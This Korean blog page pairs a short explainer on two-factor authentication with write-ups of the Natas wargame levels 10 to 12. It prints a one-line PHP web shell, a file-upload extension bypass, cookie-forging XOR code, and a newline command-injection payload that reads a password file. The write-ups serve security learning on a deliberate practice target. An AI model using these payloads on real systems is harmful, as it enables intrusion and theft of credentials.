2FA(Two-Factors Authentication) 이란?

- 2단계 인증이라는 뜻으로 "2번 인증을 해라".

- 더이상 ID/PW 로그인 즉, 패스워드 기반의 보안은 안전할 수 없다.

- 2단계 인증은 기존 패스워드 기반 인증 외에도 생체 지문 인식 혹은 디바이스 인증 등의 보안 절차를 추가하는 것을 의미

 

참고) https://cyberhoot.com/cybrary/two-factor-authentication/

 

2FA(2단계 인증) 종류

1. SMS 및 이메일 인증

- 로그인이나 회원가입 시, SMS 문자나 메일로 코드가 전송되어 인증하는 방식

 

2. 외부 인증키

- 대표적으로 공인인증서가 이에 해당. 

- PC 드라이브, USB, 외장하드 등에 개인만 소유가 가능한 키를 보관하여 인증

 

3. 2FA 앱

- Third-party App을 통해 초 단위로 계속 변하는 코드를 입력하여 인증하는 방식

- 대표적으로 Authy, Google OTP 등이 존재

 

 

'STUDY 💻 > IT Info🔰' 카테고리의 다른 글

AKS(Azure Kubernetes Service)란,  (0) 2023.12.20

Level 12 문제이다.

 

 

로그인 후, 문제를 확인해보면 파일을 업로드할 수 있는 페이지가 존재한다.

뭔가 파일 업로드 취약점일 것만 같은 기분..

 

 

임의의 jpg 파일을 업로드 시도하면, 파일 업로드 시 에러가 발생했다는 문구가 뜨게 된다. 

 

 

바로 php 파일 업로드를 시도해보자.

아래의 한줄 웹쉘을 이용하여 "test.php" 파일을 업로드 한다. 

<?php
	echo shell_exec($_GET['cmd']);
?>

 

 

업로드가 성공적으로 완료되었으며, 파일 경로 또한 알게 된다.

그렇지만 jpg 파일로 업로드가 되어 cmd 명령어를 입력할 수 없게 된다. 

 

 

php 업로드 시 요청 값을 Burp Suite로 확인해보면 실제 업로드 되는 filename 이 .jpg 로 설정된 것이 확인된다.

 

 

파일 확장자를 .php로 변경해준 후 업로드를 진행한다.

 

 

php 파일 확장자 업로드를 성공했다. 

 

 

해당 경로로 접근 후 , cmd 파라미터를 이용해 다음 레벨의 패스워드를 획득할 수 있다. 👏

 

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level14 write-up  (0) 2023.10.24
[Natas] Level13 write-up  (0) 2023.10.24
[Natas] Level11 write-up  (0) 2023.09.12
[Natas] Level10 write-up  (0) 2023.09.11
[Natas] Level9 write-up  (0) 2023.09.11

Level 11 문제이다.

 

 

로그인 후, 페이지의 배경색을 설정할 수 있는 form이 존재하는 문제이다. 

 

 

소스 코드를 보면... 무슨 말인지 모르겠지만 하나씩 살펴보도록 하자.

 

<body> 부분에서 "showpassword" 가 "yes"일 경우 다음 레벨의 패스워드를 획득할 수 있다. 

즉 data인 쿠키 값을 변조하여 패스워드를 획득하는 문제인 것 같다.

 

그렇다면, 쿠키 값이 어떻게 생성되었는지 확인해보고 💡거꾸로 실행하여 "showpassword"를 yes로 변경해 새로운 쿠키값을 생성해서 넣어준다면? 답이 해결될 것으로 보인다!!

 

 

① 쿠키값을 생성한 과정 확인

- saveData() 함수에서 json_encode > xor_encrypt > base64_encode 순으로 생성하고 있다. 

 

그렇다면, 반대로 base64_decode > xor_encrypt > json_decode 순으로 진행해주면 된다. 

 

② 키 값을 구하기

- xor_encrypt() 함수에서 key 값을 이용해 xor 연산으로 도출된 결과값을 전달한다.

  예로) A xor B = C 인 경우,  A xor C = B 가 된다.

디코딩 된 쿠키값(A) Key 값(B) 인코딩 된 쿠키값(C)
base64_decode key json_encode

  이 공식으로 디코딩 된 쿠키값(A) xor Key 값(B) = 인코딩 된 쿠키값(C) 

                      >> 디코딩 된 쿠키값(A) xor 인코딩 된 쿠키 값(C) = Key값(B) 이므로 Key값을 구할 수 있게 된다.

 

- xor_encrypt() 함수를 활용하여 코드를 작성하자.

1  <?php
2   function xor_encrypt() {
3     $defaultdata = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
4     $key = '';
5     $text = base64_decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=');
6     $outText = $defaultdata;
7
8     for($i=0;$i<strlen($text);$i++) {
9     $key .= $outText[$i] ^ $text[$i % strlen($text)];
10    }
11
12    return $key;
13  }
14
15  echo xor_encrypt();
16  ?>

 

4 > 구해야할 key 값

5 > 현재 쿠키값을 base64로 decoding

6 > json_encode() 값

9 > Key 값 = json_endoe() 값  xor  base64_decode()

 

- key 값인 KNHL을 구할 수 있다.

 

 

③ "showpassword" 가 "yes" 일 때의 쿠키값을 구하기

1  <?php
2  function xor_encrypt() {
3     $defaultdata = array("showpassword"=>"yes", "bgcolor"=>"#ffffff");
4     $key = 'KNHL';
5     $text = json_encode($defaultdata);
6     $outText = '';

7     for($i=0;$i<strlen($text);$i++) {
8     $outText .= $text[$i] ^ $key[$i % strlen($key)];
9     }
10
11    return base64_encode($outText);
12  }
13
14  echo xor_encrypt();
15  ?>

3 > "yes" 로 값 변경

4 > key 값 작성

6 > "yes" 일 때의 쿠키값이 반환될 변수

11 > base64 인코딩 되어 나온 값

 

- "yes" 일 경우의 쿠키 값을 확인할 수 있다. 

 

 

Burp 에서 홈에서의 Set color 버튼 클릭 시의 요청값을 잡고 쿠키의 data 값을 위의 결과로 변경해준다. 

 

 

다음 레벨의 패스워드를 획득할 수 있다. 👏

 

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level13 write-up  (0) 2023.10.24
[Natas] Level12 write-up  (0) 2023.09.14
[Natas] Level10 write-up  (0) 2023.09.11
[Natas] Level9 write-up  (0) 2023.09.11
[Natas] Level8 write-up  (0) 2023.09.11

Level 10 문제이다.

 

 

로그인 후 문제를 보면, level 9 와 비슷한 유형이지만 필터링이 되어 있다.

 

 

 

소스 코드를 확인해보면, preg_match 함수를 사용하여 ; | & 문자 사용 시 필터링 처리 되고 있다.

그럼 이 외의 문자를 입력하여 우회가 된다면, 다음 레벨의 패스워들 획득할 수 있다.

 

구글링 결과 개행문자를 통해서도 OS Command Injection이 가능하다..!

 

 

?needle=apple%0acat%20/etc/natas_webpass/natas11&submit=Search 을 입력해주면, 다음 레벨의 패스워드를 획득할 수 있다. 👏

 

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level12 write-up  (0) 2023.09.14
[Natas] Level11 write-up  (0) 2023.09.12
[Natas] Level9 write-up  (0) 2023.09.11
[Natas] Level8 write-up  (0) 2023.09.11
[Natas] Level7 write-up  (0) 2023.09.11

+ Recent posts